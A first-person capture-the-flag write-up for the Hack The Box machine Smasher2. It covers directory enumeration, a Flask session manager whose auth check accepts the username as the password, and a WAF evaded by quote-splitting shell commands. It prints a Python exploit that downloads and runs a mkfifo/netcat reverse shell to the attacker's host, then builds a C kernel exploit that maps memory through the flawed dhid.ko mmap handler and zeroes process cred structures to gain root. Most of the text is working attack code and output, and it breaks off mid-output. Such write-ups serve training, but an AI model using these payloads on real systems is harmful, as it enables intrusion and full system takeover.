[+] Timeout: 10s
===============================================================
2019/12/13 07:37:54 Starting gobuster
===============================================================
/.git/HEAD (Status: 403)
/.hta (Status: 403)
/.bash_history (Status: 403)
/.config (Status: 403)
/.bashrc (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.profile (Status: 403)
/.mysql_history (Status: 403)
/.sh_history (Status: 403)
/.svn/entries (Status: 403)
/_vti_bin/_vti_adm/admin.dll (Status: 403)
/_vti_bin/shtml.dll (Status: 403)
/_vti_bin/_vti_aut/author.dll (Status: 403)
/akeeba.backend.log (Status: 403)
/awstats.conf (Status: 403)
/backup (Status: 301)
/development.log (Status: 403)
/global.asa (Status: 403)
/global.asax (Status: 403)
/index.html (Status: 200)
/main.mdb (Status: 403)
/php.ini (Status: 403)
/production.log (Status: 403)
/readfile (Status: 403)
/server-status (Status: 403)
/spamlog.log (Status: 403)
/Thumbs.db (Status: 403)
/thumbs.db (Status: 403)
/web.config (Status: 403)
/WS_FTP.LOG (Status: 403)
===============================================================
2019/12/13 07:39:17 Finished
===============================================================
[email protected]:~/Desktop/HTB/boxes/smasher2#

The only result that wasn’t 403 was /backup so I checked that and found 2 files:

Note: Months ago when I solved this box for the first time /backup was protected by basic http authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it.
I downloaded the files to my box:

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[email protected]:~/Desktop/HTB/boxes/smasher2# mkdir backup
[email protected]:~/Desktop/HTB/boxes/smasher2# cd backup/
[email protected]:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/auth.py
--2019-12-13 07:40:19-- http://smasher2.htb/backup/auth.py
Resolving smasher2.htb (smasher2.htb)... 10.10.10.135
Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4430 (4.3K) [text/x-python]
Saving to: ‘auth.py’

auth.py 100%[=======================================================================================================================================>] 4.33K --.-KB/s in 0.07s

2019-12-13 07:40:20 (64.2 KB/s) - ‘auth.py’ saved [4430/4430]

[email protected]:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/ses.so
--2019-12-13 07:40:43-- http://smasher2.htb/backup/ses.so
Resolving smasher2.htb (smasher2.htb)... 10.10.10.135
Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18608 (18K)
Saving to: ‘ses.so’

ses.so 100%[=======================================================================================================================================>] 18.17K 85.2KB/s in 0.2s

2019-12-13 07:40:44 (85.2 KB/s) - ‘ses.so’ saved [18608/18608]

[email protected]:~/Desktop/HTB/boxes/smasher2/backup#

By looking at auth.py I knew that these files were related to wonderfulsessionmanager.smasher2.htb.

auth.py: Analysis

auth.py:

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#!/usr/bin/env python
import ses
from flask import session,redirect, url_for, request,render_template, jsonify,Flask, send_from_directory
from threading import Lock
import hashlib
import hmac
import os
import base64
import subprocess
import time

def get_secure_key():
m = hashlib.sha1()
m.update(os.urandom(32))
return m.hexdigest()

def craft_secure_token(content):
h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256)
return h.hexdigest()


lock = Lock()
app = Flask(__name__)
app.config['SECRET_KEY'] = get_secure_key()
Managers = {}

def log_creds(ip, c):
with open("creds.log", "a") as creds:
creds.write("Login from {} with data {}:{}\n".format(ip, c["username"], c["password"]))
creds.close()

def safe_get_manager(id):
lock.acquire()
manager = Managers[id]
lock.release()
return manager

def safe_init_manager(id):
lock.acquire()
if id in Managers:
del Managers[id]
else:
login = ["<REDACTED>", "<REDACTED>"]
Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))})
lock.release()

def safe_have_manager(id):
ret = False
lock.acquire()
ret = id in Managers
lock.release()
return ret

@app.before_request
def before_request():
if request.path == "/":
if not session.has_key("id"):
k = get_secure_key()
safe_init_manager(k)
session["id"] = k
elif session.has_key("id") and not safe_have_manager(session["id"]):
del session["id"]
return redirect("/", 302)
else:
if session.has_key("id") and safe_have_manager(session["id"]):
pass
else:
return redirect("/", 302)

@app.after_request
def after_request(resp):
return resp


@app.route('/assets/<path:filename>')
def base_static(filename):
return send_from_directory(app.root_path + '/assets/', filename)


@app.route('/', methods=['GET'])
def index():
return render_template("index.html")


@app.route('/login', methods=['GET'])
def view_login():
return render_template("login.html")

@app.route('/auth', methods=['POST'])
def login():
ret = {"authenticated": None, "result": None}
manager = safe_get_manager(session["id"])
data = request.get_json(silent=True)
if data:
try:
tmp_login = dict(data["data"])
except:
pass
tmp_user_login = None
try:
is_logged = manager.check_login(data)
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]
try:
tmp_user_login = {"username": tmp_login["username"], "password": tmp_login["password"]}
except:
pass
if not is_logged[0]:
ret["authenticated"] = False
ret["result"] = "Cannot authenticate with data: %s - %s" % (is_logged[1], "Too many tentatives, wait 2 minutes!" if manager.blocked else "Try again!")
else:
if tmp_user_login is not None:
log_creds(request.remote_addr, tmp_user_login)
ret["authenticated"] = True
ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
except TypeError as e:
ret["authenticated"] = False
ret["result"] = str(e)
else:
ret["authenticated"] = False
ret["result"] = "Cannot authenticate missing parameters."
return jsonify(ret)


@app.route("/api/<key>/job", methods=['POST'])
def job(key):
ret = {"success": None, "result": None}
manager = safe_get_manager(session["id"])
if manager.secret_key == key:
data = request.get_json(silent=True)
if data and type(data) == dict:
if "schedule" in data:
out = subprocess.check_output(['bash', '-c', data["schedule"]])
ret["success"] = True
ret["result"] = out
else:
ret["success"] = False
ret["result"] = "Missing schedule parameter."
else:
ret["success"] = False
ret["result"] = "Invalid value provided."
else:
ret["success"] = False
ret["result"] = "Invalid token."
return jsonify(ret)


app.run(host='127.0.0.1', port=5000)

I read the code and these are the things that interest us:
After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job:

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ret["authenticated"] = True
ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
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secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]

That endpoint only accepts POST requests:

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@app.route("/api/<key>/job", methods=['POST'])

And the sent data has to be json:

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data = request.get_json(silent=True)
if data and type(data) == dict:
...

Through that endpoint we can execute system commands by providing them in a parameter called schedule:

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if "schedule" in data:
out = subprocess.check_output(['bash', '-c', data["schedule"]])
ret["success"] = True
ret["result"] = out

session.so: Analysis –> Authentication Bypass

session.so is a compiled shared python library, so stands for shared object:

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[email protected]:~/Desktop/HTB/boxes/smasher2/backup# file ses.so 
ses.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0c67d40b77854318b10417b4aedfee95a52f0550, not stripped
[email protected]:~/Desktop/HTB/boxes/smasher2/backup#

I opened it in ghidra and started checking the functions. Two functions caught my attention, get_internal_pwd() and get_internal_usr():

I looked at the decompiled code of both of them and noticed something strange, they were the exact same:
get_internal_pwd():

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undefined8 get_internal_pwd(undefined8 param_1)

{
long *plVar1;
undefined8 uVar2;

plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
uVar2 = PyList_GetItem(plVar1,0);
uVar2 = PyString_AsString(uVar2);
*plVar1 = *plVar1 + -1;
if (*plVar1 == 0) {
(**(code **)(plVar1[1] + 0x30))(plVar1);
}
return uVar2;
}

get_internal_usr():

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undefined8 get_internal_usr(undefined8 param_1)

{
long *plVar1;
undefined8 uVar2;

plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
uVar2 = PyList_GetItem(plVar1,0);
uVar2 = PyString_AsString(uVar2);
*plVar1 = *plVar1 + -1;
if (*plVar1 == 0) {
(**(code **)(plVar1[1] + 0x30))(plVar1);
}
return uVar2;
}
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[email protected]:~/Desktop/HTB/boxes/smasher2/backup# diff getinternalusr getinternalpwd 
1c1
< undefined8 get_internal_usr(undefined8 param_1)
---
> undefined8 get_internal_pwd(undefined8 param_1)
[email protected]:~/Desktop/HTB/boxes/smasher2/backup#

So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication.
I tried some common usernames before attempting to use wfuzz, Administrator worked:

WAF Bypass –> RCE –> Shell as dzonerzy –> Root Flag

I wrote a small script to execute commands through /api/<key>/job as we saw earlier in auth.py, the script was meant for testing purposes:

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#!/usr/bin/python3
from requests import post

cookies = {"session":"eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg"}

while True:
cmd = input("cmd: ")
req = post("http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job", json={"schedule":cmd}, cookies=cookies)
response = req.text
print(response)

Testing with whoami worked just fine:

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[email protected]:~/Desktop/HTB/boxes/smasher2# ./test.py 
cmd: whoami
{"result":"dzonerzy\n","success":true}

cmd:

However when I tried other commands I got a 403 response indicating that the server was protected by a WAF:

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cmd: curl http://10.10.xx.xx
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job
on this server.<br />
</p>

<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address>
</body></html>

cmd:

I could easily bypass it by inserting single quotes in the command:

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cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

cmd:
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Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found
10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -

To automate the exploitation process I wrote this small exploit:

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#!/usr/bin/python3 
import requests

YELLOW = "\033[93m"
GREEN = "\033[32m"

def getKey(session):
req = session.post("http://wonderfulsessionmanager.smasher2.htb/auth", json={"action":"auth","data":{"username":"Administrator","password":"Administrator"}})
response = req.json()
key = response['result']['key']
return key

def exploit(session, key):
download_payload = "\'w\'g\'e\'t \'h\'t\'t\'p\':\'/\'/\'1\'0\'.\'1\'0\'.\'x\'x\'.\'x\'x\'/\'s\'h\'e\'l\'l\'.\'s\'h\'"
print(YELLOW + "[+] Downloading payload")
download_req = session.post("http://wonderfulsessionmanager.smasher2.htb/api/{}/job".format(key), json={"schedule":download_payload})
print(GREEN + "[*] Done")
exec_payload = "s\'h\' \'s\'h\'e\'l\'l\'.\'s\'h"
print(YELLOW + "[+] Executing payload")
exec_req = session.post("http://wonderfulsessionmanager.smasher2.htb/api/{}/job".format(key), json={"schedule":exec_payload})
print(GREEN + "[*] Done. Exiting ...")
exit()

session = requests.Session()
session.get("http://wonderfulsessionmanager.smasher2.htb/login")
print(YELLOW +"[+] Authenticating")
key = getKey(session)
print(GREEN + "[*] Session: " + session.cookies.get_dict()['session'])
print(GREEN + "[*] key: " + key)
exploit(session, key)

The exploit sends 2 commands, the first one is a wget command that downloads shell.sh and the other one executes it.
shell.sh:

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#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

I hosted it on a python server and I started a netcat listener on port 1337 then I ran the exploit:

We owned user.

dhid.ko: Enumeration

After getting a shell I copied my public ssh key to /home/dzonerzy/.ssh/authorized_keys and got ssh access.
In the home directory of dzonerzy there was a README containing a message from him saying that we’ll need to think outside the box to root smasher2:

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[email protected]:~$ ls -al
total 44
drwxr-xr-x 6 dzonerzy dzonerzy 4096 Feb 17 2019 .
drwxr-xr-x 3 root root 4096 Feb 15 2019 ..
lrwxrwxrwx 1 dzonerzy dzonerzy 9 Feb 15 2019 .bash_history -> /dev/null
-rw-r--r-- 1 dzonerzy dzonerzy 220 Feb 15 2019 .bash_logout
-rw-r--r-- 1 dzonerzy dzonerzy 3799 Feb 16 2019 .bashrc
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .cache
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .gnupg
drwx------ 5 dzonerzy dzonerzy 4096 Feb 17 2019 .local
-rw-r--r-- 1 dzonerzy dzonerzy 807 Feb 15 2019 .profile
-rw-r--r-- 1 root root 900 Feb 16 2019 README
drwxrwxr-x 4 dzonerzy dzonerzy 4096 Dec 13 12:50 smanager
-rw-r----- 1 root dzonerzy 33 Feb 17 2019 user.txt
[email protected]:~$ cat README


.|'''.| '||
||.. ' .. .. .. .... .... || .. .... ... ..
''|||. || || || '' .|| ||. ' ||' || .|...|| ||' ''
. '|| || || || .|' || . '|.. || || || ||
|'....|' .|| || ||. '|..'|' |'..|' .||. ||. '|...' .||. v2.0

by DZONERZY

Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy

Hacking!

free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *


[email protected]:~$

After some enumeration, I checked the auth log and saw this line:

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[email protected]:~$ cat /var/log/auth.log
----------
Redacted
----------
Dec 13 11:49:34 smasher2 sudo: root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
----------
Redacted
----------
[email protected]:~$

insmod (stands for insert module) is a tool used to load kernel modules. dhid.ko is a kernel module (ko stands for kernel object)

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[email protected]:~$ cd /lib/modules/4.15.0-45-generic/kernel/drivers/hid/
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ file dhid.ko
dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

I checked the loaded kernel modules and that module was still loaded:

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[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ lsmod | grep dhid
dhid 16384 0
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

We can use modinfo to list the information about that module, as you can see it was written by dzonerzy:

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[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ modinfo dhid
filename: /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
version: 1.0
description: LKM for dzonerzy dhid devices
author: DZONERZY
license: GPL
srcversion: 974D0512693168483CADFE9
depends:
retpoline: Y
name: dhid
vermagic: 4.15.0-45-generic SMP mod_unload
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

Last thing I wanted to check was if there was device driver file for the module:

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[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ ls -la /dev/ | grep dhid
crwxrwxrwx 1 root root 243, 0 Dec 13 11:49 dhid
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

I downloaded the module on my box to start analyzing it:

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[email protected]:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa [email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ 
dhid.ko 100% 8872 16.1KB/s 00:00
[email protected]:~/Desktop/HTB/boxes/smasher2# file dhid.ko
dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped
[email protected]:~/Desktop/HTB/boxes/smasher2#

dhid.ko: Analysis

I opened the module in ghidra then I started checking the functions:

The function dev_read() had a hint that this is the intended way to root the box:

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long dev_read(undefined8 param_1,undefined8 param_2)

{
int iVar1;

__fentry__();
iVar1 = _copy_to_user(param_2,"This is the right way, please exploit this shit!",0x30);
return (ulong)(-(uint)(iVar1 == 0) & 0xf) - 0xe;
}

One interesting function that caught my attention was dev_mmap():

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ulong dev_mmap(undefined8 param_1,long *param_2)

{
uint uVar1;
ulong uVar2;
uint uVar3;

__fentry__();
uVar3 = (int)param_2[1] - *(int *)param_2;
uVar1 = (uint)(param_2[0x13] << 0xc);
printk(&DAT_00100380,(ulong)uVar3,param_2[0x13] << 0xc & 0xffffffff);
if ((((int)uVar3 < 0x10001) && (uVar1 < 0x1001)) && ((int)(uVar3 + uVar1) < 0x10001)) {
uVar1 = remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
uVar2 = (ulong)uVar1;
if (uVar1 == 0) {
printk(&DAT_0010057b);
}
else {
uVar2 = 0xfffffff5;
printk(&DAT_00100567);
}
}
else {
uVar2 = 0xfffffff5;
printk(&DAT_001003b0);
}
return uVar2;
}

In case you don’t know what mmap is, simply mmap is a system call which is used to map memory to a file or a device. (Check this)
The function dev_mmap() is a custom mmap handler.
The interesting part here is the call to remap_pfn_range() function (remap kernel memory to userspace):

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remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);

I checked the documentation of remap_pfn_range() to know more about it, the function takes 5 arguments:

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int remap_pfn_range (struct vm_area_struct * vma,
unsigned long addr,
unsigned long pfn,
unsigned long size,
pgprot_t prot);

Description of each argument:

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struct vm_area_struct * vma
user vma to map to

unsigned long addr
target user address to start at

unsigned long pfn
physical address of kernel memory

unsigned long size
size of map area

pgprot_t prot
page protection flags for this mapping

If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:

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ulong dev_mmap(undefined8 param_1,long *param_2)

{
uint uVar1;
ulong uVar2;
uint uVar3;

__fentry__();
uVar3 = (int)param_2[1] - *(int *)param_2;
uVar1 = (uint)(param_2[0x13] << 0xc);
printk(&DAT_00100380,(ulong)uVar3,param_2[0x13] << 0xc & 0xffffffff);
if ((((int)uVar3 < 0x10001) && (uVar1 < 0x1001)) && ((int)(uVar3 + uVar1) < 0x10001)) {
uVar1 = remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
...

This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.

dhid.ko: Exploitation –> Root Shell –> Root Flag

Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred structure (The cred structure holds our process credentials) then overwrite our uid and gid with 0 and execute /bin/sh. Let’s go through it step by step.
First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:

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#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("[!] Failed to mmap");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

int stop = getchar();
return 0;
}

I compiled the code and uploaded it to the box:

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[email protected]:~/Desktop/HTB/boxes/smasher2# gcc -o pwn pwn.c 
[email protected]:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa ./pwn [email protected]:/dev/shm/pwn
pwn 100% 17KB 28.5KB/s 00:00
[email protected]:~/Desktop/HTB/boxes/smasher2#

Then I ran it:

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[email protected]:/dev/shm$ ./pwn 
[+] PID: 8186
[*] Open OK fd: 3
[*] mmap OK address: 42424000

From another ssh session I checked the process memory mapping, the attempt was successful:

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[email protected]:/dev/shm$ cat /proc/8186/maps 
42424000-132424000 rw-s 00000000 00:06 440 /dev/dhid
----------
Redacted
----------
[email protected]:/dev/shm$

Now we can start searching for the cred structure that belongs to our process, if we take a look at the how the cred structure looks like:

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struct cred {
atomic_tusage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_tsubscribers;/* number of processes subscribed */
void*put_addr;
unsignedmagic;
#define CRED_MAGIC0x43736564
#define CRED_MAGIC_DEAD0x44656144
#endif
kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
kuid_tfsuid;/* UID for VFS ops */
kgid_tfsgid;/* GID for VFS ops */
unsignedsecurebits;/* SUID-less security management */
kernel_cap_tcap_inheritable; /* caps our children can inherit */
kernel_cap_tcap_permitted;/* caps we're permitted */
kernel_cap_tcap_effective;/* caps we can actually use */
kernel_cap_tcap_bset;/* capability bounding set */
kernel_cap_tcap_ambient;/* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned charjit_keyring;/* default keyring to attach requested
* keys to */
struct key*session_keyring; /* keyring inherited over fork */
struct key*process_keyring; /* keyring private to this process */
struct key*thread_keyring; /* keyring private to this thread */
struct key*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void*security;/* subjective LSM security */
#endif
struct user_struct *user;/* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info;/* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu;/* Can we skip RCU deletion? */
struct rcu_headrcu;/* RCU deletion hook */
};
}

We’ll notice that the first 8 integers (representing our uid, gid, saved uid, saved gid, effective uid, effective gid, uid and gid for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:

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kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
kuid_tfsuid;/* UID for VFS ops */
kgid_tfsgid;/* GID for VFS ops */

These 8 integers are followed by a variable called securebits:

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unsigned    securebits; /* SUID-less security management */

Then that variable is followed by our capabilities:

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kernel_cap_t    cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */

Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred structure pattern we’ll overwrite each integer of the 8 with a 0 and check if our uid changed to 0, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff and execute /bin/sh. Let’s try to implement the search for cred structures first.
To do that we will get our uid with getuid():

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unsigned int uid = getuid();

Then search for 8 consecutive integers that are equal to our uid, when we find a cred structure we’ll print its pointer and keep searching:

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while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
}

addr++;

}

pwn.c:

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#include <stdio.h>                                                                          
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());

int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("[!] Failed to mmap");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

printf("[*] Current UID: %d\n", uid);

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
}

addr++;

}

fflush(stdout);

int stop = getchar();
return 0;
}

It worked:

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[email protected]:/dev/shm$ ./pwn 
[+] PID: 1215
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[*] Current UID: 1000
[*] Cred structure found! ptr: 0x76186484, crednum: 1
[*] Cred structure found! ptr: 0x76186904, crednum: 2
[*] Cred structure found! ptr: 0x76186b44, crednum: 3
[*] Cred structure found! ptr: 0x76186cc4, crednum: 4
[*] Cred structure found! ptr: 0x76186d84, crednum: 5
[*] Cred structure found! ptr: 0x76186fc4, crednum: 6
[*] Cred structure found! ptr: 0x761872c4, crednum: 7
[*] Cred structure found! ptr: 0x76187684, crednum: 8
[*] Cred structure found! ptr: 0x76187984, crednum: 9
[*] Cred structure found! ptr: 0x76187b04, crednum: 10
[*] Cred structure found! ptr: 0x76187bc4, crednum: 11
[*] Cred structure found! ptr: 0x76187c84, crednum: 12
[*] Cred structure found! ptr: 0x77112184, crednum: 13
[*] Cred structure found! ptr: 0x771123c4, crednum: 14
[*] Cred structure found! ptr: 0x77112484, crednum: 15
[*] Cred structure found! ptr: 0x771129c4, crednum: 16
[*] Cred structure found! ptr: 0x77113084, crednum: 17
[*] Cred structure found! ptr: 0x77113144, crednum: 18
[*] Cred structure found! ptr: 0x77113504, crednum: 19
[*] Cred structure found! ptr: 0x77113c84, crednum: 20
[*] Cred structure found! ptr: 0x7714a604, crednum: 21
[*] Cred structure found! ptr: 0x7714aa84, crednum: 22
[*] Cred structure found! ptr: 0x7714ac04, crednum: 23
[*] Cred structure found! ptr: 0x7714afc4, crednum: 24
[*] Cred structure found! ptr: 0x7714ba44, crednum: 25
[*] Cred structure found! ptr: 0xb9327bc4, crednum: 26

[email protected]:/dev/shm$

Now we need to overwrite the cred structure that belongs to our process, we’ll keep overwriting every cred structure we find and check our uid, when we overwrite the one that belongs to our process our uid should be 0:

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credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){
printf("[*] Process cred structure found ptr: %p, crednum: %d\n", addr, credNum);
break;
}

pwn.c:

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#include <stdio.h>                                                                          
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("Failed to mmap: ");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

printf("[*] Current UID: %d\n", uid);

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){

credIt = 0;

if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;

printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);

credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){
printf("[*] Process cred structure found ptr: %p, crednum: %d\n", addr, credNum);
break;
}

else{
credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}

addr++;
}

fflush(stdout);

int stop = getchar();
return 0;
}
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[email protected]:/dev/shm$ ./pwn 
[+] PID: 4773
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[*] Current UID: 1000
[*] Cred structure found! ptr: 0x76186484, crednum: 1
[*] Cred structure found! ptr: 0x76186904, crednum: 2
[*] Cred structure found! ptr: 0x76186b44, crednum: 3
[*] Cred structure found! ptr: 0x76186cc4, crednum: 4
[*] Cred structure found! ptr: 0x76186fc4, crednum: 5
[*] Cred structure found! ptr: 0x76187684, crednum: 6
[*] Cred structure found! ptr: 0x76187bc4, crednum: 7
[*] Cred structure found! ptr: 0x77112184, crednum: 8
[*] Cred structure found! ptr: 0x771123c4, crednum: 9
[*] Cred structure found! ptr: 0x77112484, crednum: 10
[*] Cred structure found! ptr: 0x771129c4, crednum: 11
[*] Cred structure found! ptr: 0x77113084, crednum: 12
